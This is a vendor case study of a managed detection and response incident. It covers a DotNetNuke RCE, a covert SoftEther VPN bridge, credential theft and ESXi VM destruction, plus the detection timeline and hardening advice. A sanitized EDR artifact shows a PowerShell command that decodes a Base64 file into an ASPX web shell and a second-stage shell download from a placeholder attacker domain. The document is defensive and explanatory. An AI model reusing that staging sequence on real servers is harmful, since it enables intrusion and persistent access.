EXECUTIVE SUMMARY | MDR CASE STUDY

Acronis

Hidden for a month, then caught in minutes.

Chile-based managed service provider, ACDATA, uses Acronis MDR to deliver advanced threat detection and response, helping clients stop active attacks before they cause further damage. In this case, Acronis MDR detected and contained a destructive intrusion attempt on a client in less than five minutes following a 29-day compromise. The sequence below shows what changed the moment Acronis MDR came online.

29+ DAYS ATTACKER DWELL PRE-MDR — hidden in the network stealing credentials and destroying servers before Acronis MDR was deployed.

Time is damage

Every hour an intruder stays hidden means more loss. MDR turns **weeks of exposure into minutes**.

Tools alone won't catch this

The break-in looked like normal web traffic. It took **expert analysis to connect the signals** and uncover the attack.

It could be any organization

Any business with **internet-facing applications** faces this risk — the difference is detection and response.

Details anonymized. Published with customer permission.

Acronis

VM infrastructure destroyed via web framework RCE: 29-day covert compromise detected and contained by Acronis MDR and ACDATA

A regional enterprise customer was breached through an unpatched .NET deserialization vulnerability in a legacy web CMS (DotNetNuke). The threat actor established covert VPN tunnels on three workloads, harvested credentials and destroyed virtual machine storage — until MDR service was enabled, which resulted in detection of a second intrusion attempt and full containment within 48 hours.

#DestructiveAttack #DotNetNukeRCE T1190 #WebShell T1505.003 #VirtualizationInfrastructure #SoftEtherVPN

DWELL TIME PRE-MDR

29+ days

Threat predates MDR onboarding; dwell calculated from first visible telemetry

TIME TO ERADICATE

48 hrs

MDR alert to full VPN bridge eradication across all hosts

SYSTEMS IMPACTED

3 servers + ESXi

Bridged hosts compromised; VMDK files deleted across multiple hypervisors

CREDENTIALS STOLEN

SAM + LSASS

All local account hashes and domain ticket material compromised; fully rotated post-incident

Threat actor profile

Activity is consistent with a **financially-motivated intrusion operator** — methodical multi-stage reconnaissance, pre-staged automation (deletion script triggered on host reboot), and web shell reuse overlap with ransomware-as-a-service (RaaS) affiliate or intrusion-for-hire TTPs. No named attribution.

- Pre-staged automation
- Layer 2 VPN bridge
- 29+ days undetected
- VMDK destruction

Outcome

- Second intrusion detected in **<5 minutes**; MDR case opened immediately.
- SoftEther VPN bridges eradicated from all three compromised hosts within 48 hours.
- ESXi root credentials rotated + KRBTGT double-reset + DotNetNuke patched; **no re-entry observed** post containment.

MITRE ATT&CK MAPPED — KILL CHAIN

Attack lifecycle: Web shell to VM destruction

Five phases across 29+ days. Phases 1–4 occurred before MDR service activation. Phase 5 was detected and contained in real time.

PHASE 1
PRE-MAR 11

Initial access

Unauthenticated .NET deserialization RCE via unpatched DotNetNuke CMS (2015 release). IIS worker process (w3wp.exe) spawns attacker-controlled commands.

`T1190`

Pre-telemetry

PHASE 2
MAR 11-18

Persistence and evasion

SoftEther VPN bridge installed as Windows service on 3 hosts. Backdoor local admin account created. Partner cleanup on 13 Mar bypassed same day via DotNetNuke re-exploit.

`T1543.003` `T1572` `T1136.001`

Cleanup bypassed

PHASE 3
MAR 18-27

Credential theft and recon

Mimikatz extracts LSASS credentials. SAM database exported twice (reg.exe). IIS app pool configs and web paths exfiltrated to external C2 via encoded PowerShell.

`T1003.001` `T1003.002` `T1082`

All credentials harvested

PHASE 4
APR 1-2

⚠ IMPACT

Pivot and destroy

Compromised web server pivots to ESXi management plane via direct layer-3 path. Root logins → VMDK files deleted. Pre-staged script fires second deletion wave on reboot.

`T1570` `T1485`

ESXi had no EDR · Full VM outage

PHASE 5
APR 8 05:45 UTC

• DETECTED

Re-entry → intercepted

Web shell re-deployed via same CMS exploit. EDR automatically correlates: IIS→PowerShell→base64 decode→C2 POST within 3 seconds and raises a critical alert. MDR analyst confirms active intrusion verdict and escalates within five minutes.

`T1505.003` `T1059.001`

● MDR LIVE DETECTION

MDR DETECTION MOMENT — Apr 8 05:45 UTC — T+0 case opened

Why standard controls miss this

.NET deserialization exploits targeting DotNetNuke arrive as **normal HTTPS requests** — indistinguishable from legitimate CMS traffic without deep content inspection. SoftEther in bridge mode generates **no process anomaly**; it registers as a single service start. Combined, these evade signature-based controls entirely and require **behavioral correlation across EDR and network telemetry** to surface.

The detection needle

Four signals clustered within **48 seconds from one IIS process:**

① w3wp.exe spawns PowerShell with external HTTP POST
② Base64 file created in web root
③ Web shell decoded and written as .ASPX
④ HTTPS outbound to known-malicious domain

Together: **confirmed web shell deployment chain.**

Timeline uses relative markers. All hostnames, IPs, account names and paths anonymized.

DETECTION ENGINEERING

Signal chain: How MDR identified active intrusion in under five minutes

Four independent EDR signals within a 48-second window converged into an unambiguous intrusion indicator, confirmed through analyst-led temporal correlation.

EDR PROCESS TELEMETRY ①

IIS app pool spawns PowerShell with external HTTP POST

w3wp.exe (IIS) spawns powershell.exe executing Invoke-RestMethod to an external IP:port. Anomalous for a web server process context.

★★★ HIGH

EDR FILE CREATION ALERT ②

Base64-encoded payload staged in web application directory

789.txt created in live web root at T+0. Base64 encoding in web-accessible path is a known web shell staging pattern.

★★★ HIGH

EDR PROCESS TELEMETRY ③

PowerShell decodes Base64 Blob → writes .ASPX web shell

[Convert]::FromBase64String() → WriteAllBytes() → 789.aspx. Stage-and-decode in a web directory at T+14 sec. ASP.NET web shell header confirmed.

★★★ HIGH

EDR NETWORK AND THREAT INTEL ④

HTTPS outbound to known malicious staging infrastructure

w3wp.exe establishes TCP/443 to [ATTACKER-DOMAIN] — confirmed malicious hosting infrastructure. Downloads second-stage shell at T+48 sec.

★★★ HIGH

SANITIZED EDR ARTIFACT — WEB SHELL STAGING SEQUENCE

```
Parent: w3wp.exe [IIS APPPOOL\[REDACTED]]
Child: powershell.exe -NoProfile -Command
  "$b = Get-Content 'D:\WEBS\[SITE]\789.txt';
   [IO.File]::WriteAllBytes(
   'D:\WEBS\[SITE]\789.aspx',
   [Convert]::FromBase64String($b))"

Network: w3wp.exe → TCP/443 → [ATTACKER-DOMAIN]
  GET /3.txt → saved as 21045.aspx [second-stage shell]
  Response: 200 OK  |  3.4 KB  |  ASP.NET content
```

"The needle" — Analyst insight

Each signal independently warranted investigation. **All four clustered within 48 seconds from the same IIS process** — that temporal co-location made the verdict unambiguous.

The **stage → decode → execute → callback** sequence is a deterministic web shell deployment fingerprint. Once the analyst identified this pattern across process, file and network telemetry simultaneously, the verdict was escalated to **CRITICAL — ACTIVE INTRUSION** in under five minutes.

All IP addresses, hostnames, usernames, account names and file paths anonymized.

SOC PERFORMANCE

Response timeline: Detection to full eradication

Time	Action	Outcome / Status
T+0m	EDR fires on four correlated signals: IIS→PowerShell→base64 decode + C2 POST + malicious-domain HTTPS, all within 48 seconds. MDR case auto-created.	CRITICAL Active intrusion confirmed. Analyst triage begins immediately.
T+5m	MDR analyst confirms web shell staging chain pattern. Scope review initiated — SoftEther VPN bridges on 3 hosts identified as pre-existing campaign artifacts.	URGENT Containment plan issued. Customer notification call placed.
T+12m	**Customer notified** — Incident brief issued with guided remediation steps: isolating affected IIS processes, removing identified web shell files, and blocking C2 endpoints at the network perimeter.	IN PROGRESS Customer team actioned MDR guidance; C2 endpoints blocked at perimeter.
T+90m	MDR forensic deep-dive: ESXi auth logs reviewed; SAM dump artifacts located. Full historical scope established: VMDK deletion (April 1-2), credential theft (March 18).	SCOPED Full incident timeline built. CISO briefing prepared and delivered.
T+6h	Servers isolated to quarantine segment. KRBTGT double-reset initiated. ESXi root credentials rotated. Domain-wide IOC sweep complete.	CONTAINED All re-entry paths eliminated. Infrastructure rebuild plan approved.
T+48h	SoftEther bridge services disabled and binaries removed from all three hosts identified during the MDR forensic investigation.	ERADICATED Full bridgehead removed. MDR confirms clean telemetry.
T+17d	Web servers rebuilt on patched CMS version. All local credentials rotated. Perimeter egress ACLs tightened. EDR expanded per MDR recommendations.	RESOLVED Incident closed. No subsequent compromise observed.

TIME TO DETECT
<5 min
Alert fire to analyst triage and active intrusion verdict

CUSTOMER NOTIFIED
T+12 min
Incident brief + containment steps delivered to customer team

TIME TO ERADICATE
48 hrs
Full VPN bridge eradication across all compromised hosts

MDR response combines 24/7 analyst judgment with detection engineering and live threat intelligence correlation.

ADVISORY VALUE

Priority hardening recommendations

Broadly applicable to any organization running internet-facing web applications with virtualized infrastructure. Each recommendation addresses a specific failure point identified in this incident.

CRITICAL

Network segmentation: Isolate hypervisor management interfaces

ESXi management planes (TCP/443, TCP/902) must be on a dedicated VLAN with jump-host access only. A DMZ web server should never have direct layer-3 reachability to hypervisor control planes. This single control would have broken the destructive pivot in this incident.

CRITICAL

Patch external attack surface: Retire legacy web frameworks

Known .NET deserialization vulnerabilities in legacy web frameworks like DotNetNuke have been public for years and remain actively exploited. Any internet-facing application running an end-of-life or unpatched CMS carries known, exploitable unauthenticated RCE risk. A quarterly attack surface audit and prompt migration to supported versions is strongly recommended.

HIGH

Egress controls: Deny-by-default outbound for server tiers

The full attack chain required unrestricted outbound HTTP/HTTPS from web servers — for C2 beaconing, web shell download, and SoftEther tunnel egress. An approved-destination whitelist with proxy inspection would have severed this chain at multiple independent points.

MEDIUM

Monitoring depth: Add NetFlow, DNS and file integrity monitoring

SoftEther bridge mode produces no useful EDR alert — it registers as a single service start. NetFlow and DNS telemetry would flag C2 beacon patterns. File integrity monitoring on staging directories and web roots can detect suspicious new files — including web shells, encoded payloads and attacker tooling — early in the dwell period, before destructive activity begins.

Acronis MDR context: Had EDR with network-layer visibility been active from the initial compromise date, the SoftEther VPN beacon to external C2 infrastructure would have been flagged within hours of installation — reducing the 29-day dwell window to **hours, not weeks.**

NEXT STEPS

Could this attack succeed in your environment?

If an attacker exploited an unpatched web application on your perimeter today — established a covert VPN tunnel, harvested credentials, and prepared a destructive payload — **would your team know within hours, or weeks?**

ELEVATED RISK INDICATORS

- ⚠ Internet-facing applications running .NET framework components or CMS releases older than 2021
- ⚠ Hypervisor or storage management interfaces accessible from DMZ or application tiers without a jump host
- ⚠ Security monitoring limited to endpoint telemetry with no network-layer (NetFlow / DNS / proxy) visibility

WHAT ACRONIS MDR DELIVERS

- ✓ **Real-time web shell detection** — staging-decode-execute chain detected in <5 minutes; customer notified at T+12 minutes
- ✓ **Network-layer visibility** — SoftEther C2 beaconing and lateral movement patterns flagged at first outbound connection, not weeks later
- ✓ **Analyst-led incident advisory** — full scope, containment plan and remediation roadmap delivered within hours of first alert

Schedule a live demo

Speak with an Acronis MDR specialist to **review your current detection coverage** against this attack chain: web RCE, covert tunneling, credential theft and infrastructure destruction.

acronis.mdr@acronis.com

acronis.com/en/tru/

Partner note

This incident was identified and contained through the Acronis MDR service. For current threat landscape updates, campaign IOCs and sales enablement materials, contact your Acronis partner manager or visit the TRU threat intelligence portal.